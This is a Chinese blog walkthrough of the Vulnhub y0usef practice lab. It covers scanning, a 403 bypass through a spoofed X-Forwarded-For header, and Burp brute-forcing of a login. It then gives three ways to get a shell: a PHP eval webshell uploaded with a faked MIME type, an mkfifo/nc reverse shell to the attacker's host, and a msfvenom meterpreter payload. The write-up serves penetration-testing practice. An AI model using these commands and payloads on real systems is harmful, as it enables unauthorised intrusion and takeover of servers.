首页 > 其他分享 >Vulnhub--y0usef靶场漏洞多种方法详解复现

Vulnhub--y0usef靶场漏洞多种方法详解复现

时间:2024-10-13 15:47:15浏览次数:8  
标签:发现 shell -- ip y0usef Vulnhub 上传 目录 burp

目录

0x00准备工作

1.靶场导入

2.virtualbox网络设置

3.靶机和攻击机的IP地址

0x01信息收集

1.主机发现

2.详细信息扫描

3.目录扫描

0x02 漏洞挖掘

1.403绕过

2.burp爆破

3.方法一:文件上传

4.本地提权

5.方法二:nc反弹shell

6.方法三:使用msfvenom工具


0x00准备工作

靶场下载:https://download.vulnhub.com/y0usef/y0usef.ova(建议用迅雷下载,浏览器下得慢)

虚拟机:推荐使用virtualbox虚拟机,使用vmware虚拟机可能存在无法获取IP地址情况

1.靶场导入

2.virtualbox网络设置

最后启动该靶场

3.靶机和攻击机的IP地址

y0usef IP地址:192.168.141.72
攻击机 IP地址:192.168.141.69(桥接模式)

0x01信息收集

1.主机发现

扫到了靶机的IP地址

nmap ip/24

2.详细信息扫描

扫出了服务版本和系统版本(可根据版本搜一搜有没有历史漏洞)

nmap -A ip

3.目录扫描

访问一下web80端口,发现没有表单提交等位置,查看源码也没什么可利用信息

然后进行扫描目录,得到一些403forbidden目录,对adminstration这个可疑url进行访问

dirsearch -u "http://ip"

发现没有访问权限

对adminstration扫描后,发现其目录下存在子目录,尝试403绕过

dirsearch -u "http://ip"

0x02 漏洞挖掘

1.403绕过

利用burp抓访问adminstration页面的数据包,尝试改变头信息:
添加X-Forwarded-For:127.0.0.1,让服务器以为这是从本地代理发送的请求,然后放掉

发现有页面了,而且是一个登录页面,尝试用burp爆破(注:抓到的请求包都要加X-Forwarded-For:127.0.0.1

2.burp爆破

抓到包后,发送到Intruder模块

攻击类型选择第四个

选中要爆破的账号和密码

来到payload页面,并把字典选进去,然后点击攻击

查看结果,发现有一个长度是唯一的,可能是账号和密码,尝试登录

发现登录成功,并看到了一段Upload file,点开看看(注:登录的时候记得用burp抓包并加上X-Forwarded-For:127.0.0.1)

发现是上传文件的地方,立马想到了文件上传漏洞

3.方法一:文件上传

尝试上传一个php的一句话木马文件

发现没有上传成功,再抓一次,并修改burp包里的文件格式,改为image/jpg发送出去,发现成功上传

使用蚁剑连接,把http://ip/../files/xx.php填进去,我这里的php代码使用的是<?php @eval($_REQUEST['cmd']); ?>,所以连接时密码填的cmd,然后就连接成功了

点击保存后直接双击进去,来到home/目录下,找到一个txt文件和一个目录,目录中没什么能利用的,双击点开txt文件中有一串编码字符,经验知是base64的编码(base64编码一般由:0-9a-zA-Z+/=组成)

base64解码的工具进行解码,解出来发现是ssh的账号和密码

尝试在kali中用ssh连接ssh yousef@ip,然后再输入密码yousef123,发现连接成功了,但是发现是普通用户,尝试提权

4.本地提权

id一下发现该用户具有sudo权限,su root一下,输入刚才的密码yousef123,成功登进,并whoami发现确实是root权限

最后切换到/root/目录下,查看目录,发现有一个root.txt,查看root.txt,又是一个base64编码,用上面提到的base解码工具解出来就可以啦


5.方法二:nc反弹shell

在页面上访问刚才上传的一句话木马文件,在链接上输入?cmd=system('which nc');查看是否有nc,根据页面回显发现是有的

然后修改cmd中的内容,改为=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口号 >/tmp/f ');然后在kali中开启监听,nc -lvp 端口号,开启后,再访问一下页面,返回kali发现没有反弹成功

尝试用post方式传一下,先用burp抓包,然后发送到Repeater模块里,然后再来到Repeater模块里面,修改请求方法


进去之后,whoami发现是普通用户,尝试提权,发现权限不够,尝试用python命令调用本地shell,python -c 'import pty; pty.spawn("/bin/bash")',成功调用到了本地shell,su root一下,发现已经能够使用了,输入密码,就进去啦


6.方法三:使用msfvenom工具

先用msfvenom工具生成一个一句话木马的文件,然后再把文件上传到目标靶机

msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=端口号 -f raw > shell.php

然后再开启监听,开启完监听后,再在页面上访问一下刚才上传的文件,回到kali中发现shell反弹成功了(注:需要先开启msfvenom,命令:msfdb run)

直接shell,用python命令开启本地shell,然后再whoami,发现是普通用户,尝试提权,方法就跟刚才的本地提权一样的方法,这里我就不演示了

python2 -c "import pty; pty.spawn('/bin/bash')"

标签:发现,shell,--,ip,y0usef,Vulnhub,上传,目录,burp
From: https://blog.csdn.net/2301_80386983/article/details/142878006

相关文章

  • 回调函数和钩子函数的理解
    首先:回调函数和钩子函数不是对立的。1、回调函数所谓回调函数,一般就是把函数的地址作为参数传进去,让调用的函数在内部可以调用这个函数,调用完后返回,强调调用和返回,是一种灵活的指向。例子:定义函数指针typedefint(*Fun)(int,int);intadd(inta,intb){...};intsub(i......
  • DAY31 ||贪心算法基础 | 455.分发饼干 |376.摆动序列 |53.最大子数组和
    贪心算法基础贪心算法是一种在求解问题时采取逐步构建解决方案的算法策略。它通过在每一步选择在当前看来最优的选择(即“贪心”选择),希望通过局部最优解的累积得到全局最优解。贪心算法的核心思想局部最优:每一步都选择在当前状态下最优的选择,不考虑后续步骤可能带来的影响。......
  • C++:错误代码分析<2>
    ......
  • DAY30||491.非递减子序列 |46.全排列 |47.全排列Ⅱ
    491.非递减子序列题目:491.非递减子序列-力扣(LeetCode)给定一个整型数组,你的任务是找到所有该数组的递增子序列,递增子序列的长度至少是2。示例:输入:[4,6,7,7]输出:[[4,6],[4,7],[4,6,7],[4,6,7,7],[6,7],[6,7,7],[7,7],[4,7,7]]说明:给定数组......
  • 10 月杂题
    1.CF1976FRemoveBridges树的根度数为\(1\),先开始树上每条边都是割边,连接根和叶子可以去掉更多的割边,先连接一个叶子和根,然后另外的叶子两两组合,每次肯定删去更多的点,删去一部分点后有些删去的就会减少,想到长链剖分,第一次选最大的,后面每次选两个最大的即可。2.ABC374GOnlyOn......
  • 2024.9 做题笔记
    月考寄,遂学OI,whk中所以题目比较清新简单([ABC301Ex]DifferenceofDistance无脑求最小生成树,如果权值\(+1\)的边\((u,v,t)\)不在\(x\toy\)路径上或者不是路径上的最大边,最小瓶颈路肯定不变否则想找一条权值为\(w\)非树边替换它,注意是最小生成树,\(w\get\),而不变则......
  • Error: error:0308010C:digital envelope routines::unsupported
    原因:运行Node.js应用程序时遇到了一个与加密算法相关的错误。具体来说,error:0308010C:digitalenveloperoutines::unsupported错误通常是因为Node.js尝试使用了一个不受支持的加密算法或选项,尤其是在使用某些依赖于OpenSSL的库时。主要是因为nodeJsV17版本发布了OpenSSL3.0......
  • 实验1 现代C++编程初体验
    实验一:1//现代C++标准库、算法库体验2//本例用到以下内容:3//1.字符串string,动态数组容器类vector、迭代器4//2.算法库:反转元素次序、旋转元素5//3.函数模板、const引用作为形参6#include<iostream>7#include<string>8#include<vector>9......
  • VUE:子组件的mounted中获取不到props中的值问题
    现象:mounted读取list为空断点放过去,界面却显示数据正常处理:props:{list:{type:Array}},watch:{list:{handler(newVal,oldVal){console.log('initfinish:',newVal)//后续待处理写在这里......